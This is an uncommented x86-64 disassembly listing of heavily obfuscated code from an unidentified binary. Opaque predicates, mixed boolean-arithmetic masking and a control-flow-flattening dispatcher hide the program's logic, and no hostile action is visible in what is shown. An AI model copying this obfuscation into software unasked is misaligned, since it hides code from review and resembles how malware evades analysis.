and ebx, 0x41dbd27a
and ecx, 0xbe242d84
or ecx, ebx
xor ecx, 0xbe242d84
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xc04b955
and edx, 0xf3fb46aa
or edx, ecx
xor edx, 0xf3fb46aa
mov ecx, edx
and ecx, ebp
xor edx, ebp
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete bl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov edx, ecx
xor dl, bl
not dl
and dl, bl
mov eax, ecx
or al, bl
xor al, 1
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
and r9b, r8b
and bl, cl
or bl, r9b
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0x7c6afbd3
mov ecx, 0x301893eb
cmovne ebp, ecx
test dl, 1
mov ecx, 0x7c6afbd3
cmovne ecx, ebp
jmp 0x14013a89f
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov ecx, ebx
and ecx, 0x57e131da
mov edx, ebp
and edx, 0xa81ece24
or edx, ecx
xor edx, 0xa81ece24
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edi, edx
and edi, ecx
xor ecx, edx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x105319cd
and ecx, 0xeface632
or ecx, edx
mov edx, ecx
xor edx, 0x28c4010
and ebx, 0x80bd72b1
and ebp, 0x7f428d4e
or ebp, ebx
mov ebx, ebp
xor ebx, 0x2000840
xor ecx, 0x105319cd
xor ebp, 0x80bd72b1
mov edi, ecx
and edi, 0xfd63b7ae
and edx, 0x29c4851
or edx, edi
or ecx, ebp
and ebp, 0xfd63b7ae
and ebx, 0x29c4851
or ebx, ebp
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc59c1b86
and ecx, 0x3a63e479
or ecx, edx
xor ecx, 0x3a63e479
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov edx, ebx
xor dl, cl
and dl, bl
mov eax, edx
xor al, 1
or al, dl
xor al, 1
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
mov edx, eax
xor dl, 1
and al, dl
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
xor al, r9b
mov r10d, eax
xor r10b, 1
and r9b, bl
or bl, r8b
xor bl, 1
and cl, r8b
or cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, r10d
and dl, al
mov ebx, r10d
and bl, dl
xor dl, r10b
or dl, bl
xor dl, cl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xad358129
mov ebp, 0x13eea244
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xad358129
jmp 0x14013dd20
mov ecx, 0xea92fd5
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov esi, ebp
not esi
mov edx, esi
and edx, 0xf0a762da
mov ecx, ebp
and ecx, 0xf589d25
or ecx, edx
mov edx, ecx
xor edx, 0x88120
xor ecx, 0x20020a
mov edi, esi
or edi, 0xf0299f6a
mov ebx, edi
not ebx
or ecx, 0x1520085
and ecx, 0x1721e8f
and edx, 0xf0098160
or edx, ecx
and edi, 0x1721e8f
and ebx, 0xe846010
or ebx, edi
xor ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xfd66094
and ebx, 0xf0299f6b
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x79fe8293
and ebx, 0x86017d6c
or ebx, ecx
xor ebx, 0x86017d6c
and esi, 0x821844d9
and ebp, 0x7de7bb26
or ebp, esi
xor ebp, 0x7de7bb26
mov ecx, ebx
and ecx, ebp
xor ebp, ebx
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x5fad5e21
and ebp, 0xa052a1de
or ebp, ecx
xor ebp, 0xa052a1de
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov eax, r9d
xor al, r8b
and al, r9b
xor al, 1
mov ebx, eax
or bl, r10b
xor bl, 1
xor al, r10b
not al
and al, r10b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r9b
and dl, cl
and r8b, r10b
and cl, r9b
or cl, r8b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and al, dl
or al, bl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x507b41c0
mov ebp, 0x2c7ff0fb
cmovne edx, ebp
test cl, 1
mov ecx, 0x507b41c0
jmp 0x14013d559
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x18a80410
mov edx, ecx
and edx, 0x20051246
or edx, eax
xor edx, 0x20051246
and ecx, 0xc752e9a9
or ecx, edx
mov eax, ecx
not eax
and eax, 0x1678214a
and ecx, 0xe987deb5
or ecx, eax
mov edx, ecx
not edx
xor ecx, 0x2ed5371c
mov eax, ecx
or eax, 1
mov ebp, eax
not ebp
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
mov ebx, eax
and ebx, 0x7b273512
and ebp, 0x84d8caec
or ebp, ebx
or eax, ecx
and ecx, 0x7b273512
and edx, 0x84d8caed
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x4dd48e23
and eax, 0xb22b71dc
or eax, ecx
mov ecx, eax
xor ecx, 0x12285018
xor eax, 0x4dd48e23
mov edx, eax
and edx, 0xacc325c5
and ecx, 0x533cda3a
or ecx, edx
xor ecx, 0x533cda3a
or ecx, eax
cmp ecx, 0xffffffff
sete al
setne dl
cmp dword [0x14024b6e4], 9
setg r8b
mov ebx, edx
xor bl, r8b
and dl, bl
xor al, r8b
and al, r8b
mov r9d, eax
and r9b, bl
xor al, bl
and bl, r8b
xor dl, 1
xor bl, 1
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, cl
or al, r9b
mov ecx, eax
xor cl, bl
xor bl, 1
or bl, al
xor cl, 1
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x4459baba
mov edx, 0xb0a8bbf4
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0x4459baba
cmovne ecx, edx
test bl, 1
cmovne ecx, eax
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x8d75dd6
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, 0x45d25f40
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ebp, 0xa583d967
mov edx, ecx
and edx, 0x5a7c2698
or edx, ebp
mov edi, edx
xor edi, 0x5a7c2698
xor edx, 0x5034826
mov ebp, edi
and ebp, 0x9018a8fe
and ecx, 0x6fe75701
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x6fe75700
and ecx, 0x9018a8ff
or ecx, ebp
and edx, 0x5f3f4cbe
mov ebx, edi
and ebx, 0xa0c0b341
or ebx, edx
xor ebx, 0x5f3f4cbf
and edi, 1
or edi, ebx
mov edx, edi
not edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0xf2b2740c
and ecx, 0xd4d8bf3
or ecx, ebx
or ebp, edi
and edi, 0xf2b2740c
and edx, 0xd4d8bf3
or edx, edi
xor edx, ecx
not ebp
or ebp, edx
mov ecx, ebp
mov edx, ebp
xor edx, 0x74e1da6c
and edx, ebp
not ebp
and ebp, 0x517f4448
and ecx, 0xae80bbb7
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4009204
xor ecx, 0x50614048
or ecx, 0x8b1e2593
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xa8c86d2a
and ebp, 0x54219244
or ebp, edi
or ecx, ebx
and ebx, 0xa8c86d2a
and edx, 0x573792d5
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x2e406d2d
and ecx, 0xd1bf92d2
or ecx, edx
mov edx, ecx
xor edx, 0xa4404084
xor ecx, 0x5aa1b741
mov ebp, ecx
and ebp, 0x5bbf2a3a
and edx, 0xa440d5c5
or edx, ebp
xor edx, 0xa440d5c5
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
xor al, 1
or al, r8b
mov ebx, eax
not bl
and dl, r9b
and cl, r8b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ebx, eax
xor bl, dl
test dl, dl
mov ecx, 0xf13fe161
mov edx, 0xeae51796
cmovne ecx, edx
test al, al
mov eax, 0xf13fe161
cmovne ecx, eax
test bl, 1
jmp 0x14013d55e
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x1eb810ca
mov ebx, edx
not ebx
or ebp, 0xe147ef35
mov ecx, ebp
not ecx
and edx, 0xe6e18648
and ebx, 0x1066935
or ebx, edx
and ebp, 0xe6e18648
and ecx, 0x18181082
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x1eb810ca
and ecx, 0xe147ef35
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x4a50bdeb
mov edx, ecx
and edx, 0xb5af4214
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x17bd3568
and edx, 0xe842ca97
or edx, ebx
mov ebx, edx
xor ebx, 0x80104305
and ebp, 1
xor ecx, 0xfffffffe
or ecx, ebp
mov ebp, ecx
not ebp
xor edx, 0x5ded8882
mov edi, edx
and edi, 0x370b34f8
and ebx, 0xc8f4cb07
or ebx, edi
or edx, ecx
and ecx, 0x370b34f8
and ebp, 0xc8f4cb07
or ebp, ecx
xor ebp, ebx
not edx
or edx, ebp
mov ecx, edx
xor ecx, 0x5364d7c1
and ecx, edx
not edx
and edx, 0x5364d7c1
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xf0eb11c5
and ecx, 0xf14ee3a
or ecx, edx
mov edx, ecx
xor edx, 0x58203891
xor ecx, 0x3004004
and edx, 0xf8afbe91
and ecx, 0x750416e
or ecx, edx
xor ecx, 0x750416e
sete cl
setne r8b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov ebx, r8d
and bl, al
and cl, dl
or cl, bl
xor al, r8b
xor al, 1
mov ebx, edx
xor bl, r8b
or dl, r8b
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
xor al, 1
xor cl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x559d5eee
mov ebp, 0xc19a287b
cmovne edx, ebp
test cl, 1
mov ecx, 0x559d5eee
cmovne ecx, edx
test al, 1
cmove ecx, edx
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov edx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov ebp, ebx
or ebp, 0xb89c285c
mov edx, ebp
not edx
mov ecx, esi
or ecx, 0x623d181
and ecx, 0xebff19d
mov edi, ebx
and edi, 0xb0000840
or edi, ecx
and ebp, 0xebff19d
and edx, 0x41400622
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xc7ad85f8
and edx, 0x38527a07
or edx, ecx
mov ecx, edx
xor ecx, 0x8c0208
and ebx, 0xbd0b4b46
and esi, 0x42f4b4b9
or esi, ebx
mov ebx, esi
xor ebx, 0x40840008
xor edx, 0x7f31ada5
mov ebp, edx
and ebp, 0xa673f4f7
and ecx, 0x598c0b08
or ecx, ebp
xor esi, 0xa4034046
and esi, 0xa673f4f7
and ebx, 0x598c0b08
or ebx, esi
xor ebx, ecx
not ebx
or ebx, edx
cmp ebx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
xor dl, 1
xor bl, 1
mov eax, edx
or al, bl
xor bl, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0xab516930
mov edx, 0xd1a77df0
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebp, 0xab516930
cmovne edx, ebp
test al, al
cmovne edx, ecx
jmp 0x14013e567
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
not esi
mov ebp, edx
xor ebp, 0x3275c90c
and ebp, edx
or edx, 0xcd8a36f3
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xf521023c
mov ecx, esi
and ecx, 0x254c900
or ecx, edi
or edx, ebx
and ebx, 0xf521023c
and ebp, 0xadefdc3
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xcbf1363
and edx, 0xf340ec9c
or edx, ecx
mov ecx, edx
xor ecx, 0xc1302101
xor edx, 0x1eca184a
and edx, 0x1ecf1cda
and ecx, 0xe130e325
or ecx, edx
xor ecx, 0xe130e325
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov eax, 0x4d2104ba
mov ebp, 0x9cef9f76
cmovne eax, ebp
test dl, dl
mov edx, 0x4d2104ba
cmovne edx, eax
test cl, 1
cmovne edx, eax
jmp 0x14013e567
mov edx, dword [0x14024b6e8]
mov edi, dword [0x14024b6e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x40008200
mov ebp, ecx
and ebp, 0xb012141
or ebp, edx
xor ebp, 0xb012141
and ecx, 0xb4fe5cbe
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb4fe5cbe
and ecx, 0x4b01a341
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x944e84c3
and ecx, 0x6bb17b3c
or ecx, edx
xor ecx, 0x6bb17b3d
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
or ebx, 0x6f676c49
mov edx, ebx
not edx
or ecx, 0x10109336
and ecx, 0x7c54fb77
and ebp, 0x3230408
or ebp, ecx
and ebx, 0x7c54fb77
and edx, 0x80880080
or edx, ebx
xor edx, ebp
mov ecx, edx
not ecx
and ecx, 0xe9a1b8d4
and edx, 0x165e472b
or edx, ecx
mov ecx, edx
xor ecx, 0x392a42
xor edx, 0x86c6d49d
mov ebp, edx
and ebp, 0xf900c538
and ecx, 0x6ff3ac7
or ecx, ebp
xor ecx, 0x6ff3ac7
or ecx, edx
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp edi, 9
setg al
cmp edi, 0xa
setl bl
and bl, r8b
mov r9d, eax
and r9b, dl
or r9b, bl
xor dl, al
and dl, al
xor al, r8b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
xor dl, 1
and dl, r9b
or cl, r9b
xor r9b, 1
and bl, r9b
or dl, bl
xor r9b, al
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x23e0c7c0
mov ebp, 0x8d0bbdc7
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
not al
test al, 1
mov eax, 0x23e0c7c0
jmp 0x14013d209
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ebx, edi
not ebx
mov ebp, edi
or ebp, 1
mov edx, ebp
not edx
mov ecx, ebx
or ecx, 0xe29bf5ac
and ebp, 0xe29bf5ad
and edx, 0x1d640a52
or edx, ebp
and ecx, 0xe29bf5ad
xor ecx, edx
mov edx, ecx
not edx
and ebx, edx
and ecx, edi
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, r9d
or al, r8b
mov ebx, r9d
xor bl, r8b
xor cl, r8b
and r8b, r9b
xor al, 1
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
and bl, r9b
mov edx, ebx
xor dl, 1
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
and bl, al
xor al, 1
xor dl, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x856131a9
mov ecx, 0xac84b784
cmovne ebp, ecx
test al, 1
mov ecx, 0x856131a9
cmovne ecx, ebp
jmp 0x14013e28a
mov ecx, 0xaf0a3f6a
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov ecx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xe75cb7cf
mov ecx, ebx
not ecx
or edx, 0x10200030
and edx, 0x5434b1fd
and ebp, 0xa3480602
or ebp, edx
and ebx, 0x5434b1fd
and ecx, 0x8834800
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x18a34830
and ecx, 0xe75cb7cf
or ecx, edx
mov ebx, ecx
mov ebp, ecx
xor ebp, 0x25f47bc9
and ebp, ecx
not ecx
and ecx, 0xb34a5d88
and ebx, 0x4cb5a277
or ebx, ecx
mov edx, ebx
xor edx, 0x4cb5a277
xor ebx, 0xb34a5d88
mov ecx, ebx
or ecx, 0xda0b8436
mov edi, ecx
not edi
mov esi, ebp
not esi
mov eax, ecx
and eax, 0xa56733b4
and edi, 0x904849
or edi, eax
or ecx, esi
and esi, 0xa56733b4
and ebp, 0x5a98cc4b
or ebp, esi
xor ebp, edi
not ecx
or ecx, ebp
mov eax, ecx
not eax
and eax, 0xd902cd31
and ecx, 0x26fd32ce
or ecx, eax
mov ebp, ecx
xor ebp, 0x1090906
and ebx, 0x21829965
mov eax, edx
and eax, 0xde7d669a
or eax, ebx
xor eax, 0x21829964
and edx, 1
or edx, eax
mov eax, edx
not eax
xor ecx, 0xfcf6b6f9
mov ebx, ecx
and ebx, 0xa6a4d4c1
and ebp, 0x595b2b3e
or ebp, ebx
or ecx, edx
and edx, 0xa6a4d4c1
and eax, 0x595b2b3e
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x908ac371
and ecx, 0x6f753c8e
or ecx, eax
mov eax, ecx
not eax
and eax, 0x6f753c8e
and ecx, 0x908ac371
or ecx, eax
setne r9b
sete r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg cl
mov eax, ecx
xor al, r10b
mov r8d, eax
xor r8b, 1
and r9b, dl
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, r10b
xor dl, r10b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
not dl
and dl, al
or al, cl
and cl, r8b
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x8aea1de3
mov ebp, 0x8a4c6a19
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x8aea1de3
jmp 0x14013e668
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0a0], rax
mov ecx, 0x902e93dd
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov rsi, qword [rsp + 0x38]
mov edx, dword [0x14024b6e8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x54188bcf
and edx, ecx
and ecx, 0xabe77430
or ecx, ebp
xor ecx, 0xabe77430
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x916a4d4
mov ebx, ecx
and ebx, 0xf6e95b2b
or ebx, edx
mov ebp, ebx
xor ebp, 0xf6e95b2b
xor ebx, 0x8028410
mov edx, ebp
and edx, 0x4521535c
and ecx, 0xbadeaca3
or ecx, edx
mov edx, ecx
not edx
and edx, 0x9f4de5db
and ecx, 0x60b21a24
or ecx, edx
and ebx, 0x48cb9c10
mov edi, ebp
and edi, 0xb73463ef
or edi, ebx
mov edx, dword [0x14024b6e4]
xor ecx, 0x25934979
xor edi, 0x48cb9c11
and ebp, 1
or ebp, edi
not ebp
mov ebx, ecx
and ebx, ebp
xor ebp, ecx
or ebp, ebx
mov ecx, ebp
mov ebx, ebp
xor ebx, 0x4d9c6882
and ebx, ebp
not ebp
and ebp, 0x44800802
and ecx, 0x91c6080
or ecx, ebp
xor ecx, 0x91c6080
mov ebp, ecx
and ebp, ebx
xor ebx, ecx
or ebx, ebp
mov ecx, ebx
not ecx
and ecx, 0x33bfd3d2
and ebx, 0xcc402c2d
or ebx, ecx
mov ecx, ebx
xor ecx, 0x444ae
xor ebx, 0x7e23bb50
mov ebp, ebx
and ebp, 0xaff9b911
and ecx, 0x500646ee
or ecx, ebp
xor ecx, 0xaff9b911
xor ebx, ecx
test ebx, ecx
sete r8b
setne cl
cmp edx, 0xa
setl al
cmp edx, 9
setg bl
xor bl, cl
mov r9d, ebx
xor r9b, 1
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ecx, r9d
or cl, al
xor al, bl
xor al, 1
xor cl, 1
or cl, al
mov eax, ecx
not al
mov edx, ebx
xor dl, cl
and dl, bl
and al, r9b
and cl, bl
or cl, al
mov eax, edx
xor al, cl
mov eax, 0xa47793ef
mov ebp, 0x68c48c02
cmovne eax, ebp
test cl, cl
mov ecx, eax
cmovne ecx, ebp
mov qword [0x14024b0a0], rsi
test dl, dl
cmove ecx, eax
cmp ecx, 0x1ddfec4
jle 0x140130c20
jmp 0x1401306dc
mov eax, dword [0x14024b6e8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xa6c07d7c
and eax, ecx
not ecx
and ecx, 0x6c0351c
and edx, 0xa0004860
or edx, ecx
xor edx, 0xa0004860
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x593f8283
and eax, 0xa6c07d7c
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8986263c
mov edx, eax
and edx, 0x7679d9c3
or edx, ecx
mov ecx, edx
xor ecx, 0x7679d9c3
mov ebp, edx
xor ebp, 0xe056a0e
and ebp, ecx
and eax, 0x787cb3cd
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x787cb3cc
and eax, 0x87834c33
or eax, ebp
xor edx, 0x89022010
and edx, 0xed2bf0d3
mov ebp, ecx
and ebp, 0x12d40f2c
or ebp, edx
xor ebp, 0xed2bf0d2
and ecx, 1
or ecx, ebp
not ecx
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0xa4fcdf62
and ecx, 0x5b03209d
or ecx, eax
mov ebp, ecx
xor ebp, 0x12000080
xor ecx, 0x184120
or edx, 0x1b1aeba5
mov eax, edx
not eax
or ecx, 0x2484001a
and ecx, 0x2d9e613f
and ebp, 0x12008a80
or ebp, ecx
and edx, 0x2d9e613f
and eax, 0xc0611440
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0xdd33dc34
and eax, 0x22cc23cb
or eax, ecx
mov ecx, eax
xor ecx, 0x1146080c
xor eax, 0xc2283090
and eax, 0xeab8f0f2
and ecx, 0x15470f0d
or ecx, eax
mov eax, ecx
xor eax, 0x1050e05
xor ecx, 0xe0385020
and ecx, 0xf47a5128
and eax, 0xb85aed7
or eax, ecx
xor eax, 0xf47a5128
cmp eax, 0xffffffff
sete r8b
cmp dword [0x14024b6e4], 9
setg bl
xor r8b, bl
mov r9d, r8d
xor r9b, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
mov eax, ecx
and al, bl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and dl, r9b
and al, r8b
or al, dl
xor bl, r8b
or cl, r9b
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xa778c1a
mov ebp, 0xfb608f7e
cmovne ecx, ebp
test al, al
cmove ecx, ebp
not dl
test dl, 1
mov eax, 0xa778c1a
jmp 0x14013d209
mov edx, dword [0x14024b6e8]
mov r8d, dword [0x14024b6e4]
lea eax, [rdx - 1]
imul eax, edx
mov ecx, eax
not ecx
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov edx, eax
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0xa42c392a
mov ebp, ecx
and ebp, 0x5bd3c6d4
or ebp, esi
or edx, edi
and edi, 0xa42c392a
and ebx, 0x5bd3c6d5
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
not edx
and ecx, 0x9f542400
and eax, 0x60abdbff
or eax, ecx
xor eax, 0x60abdbff
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
cmp eax, 0xffffffff
setne r9b
sete r10b
cmp r8d, 9
setg al
cmp r8d, 0xa
setl dl
mov ecx, r10d
xor cl, r9b
and cl, r10b
mov ebx, eax
and bl, cl
not cl
and cl, dl
or cl, bl
and r9b, dl
and al, r10b
or al, r9b
mov ebx, edx
and bl, r10b
xor dl, r10b
or dl, bl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x3746fd2d
mov ecx, 0xfa623d92
cmovne ebp, ecx
test al, 1
mov ecx, 0x3746fd2d
cmovne ecx, ebp
jmp 0x14013e28a
mov ecx, dword [0x14024b6e8]
mov eax, dword [0x14024b6e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x42c22d0b
and ecx, edx
not edx
and edx, 0x42c22d0b
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xbd3dd2f4
and ecx, 0x42c22d0b
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
not edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x7959250
and ebp, 0xf86a6daf
or ebp, edi
or edx, ebx
and ebx, 0x7959250
and ecx, 0xf86a6daf
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xa0fd9ac5
mov ecx, ebx
not ecx
or edx, 0x1c002110
and edx, 0x1c9d3b50
and ebp, 0xa0608085
or ebp, edx
and ebx, 0x1c9d3b50
and ecx, 0x4302442a
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xbc11a6b
and ecx, 0xf43ee594
or ecx, edx
mov edx, ecx
xor edx, 0x14817710
xor ecx, 0xab3c80ae
mov ebp, ecx
and ebp, 0x6a6e88e5
and edx, 0x9591771a
or edx, ebp
xor edx, 0x6a6e88e5
xor ecx, edx
test ecx, edx
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
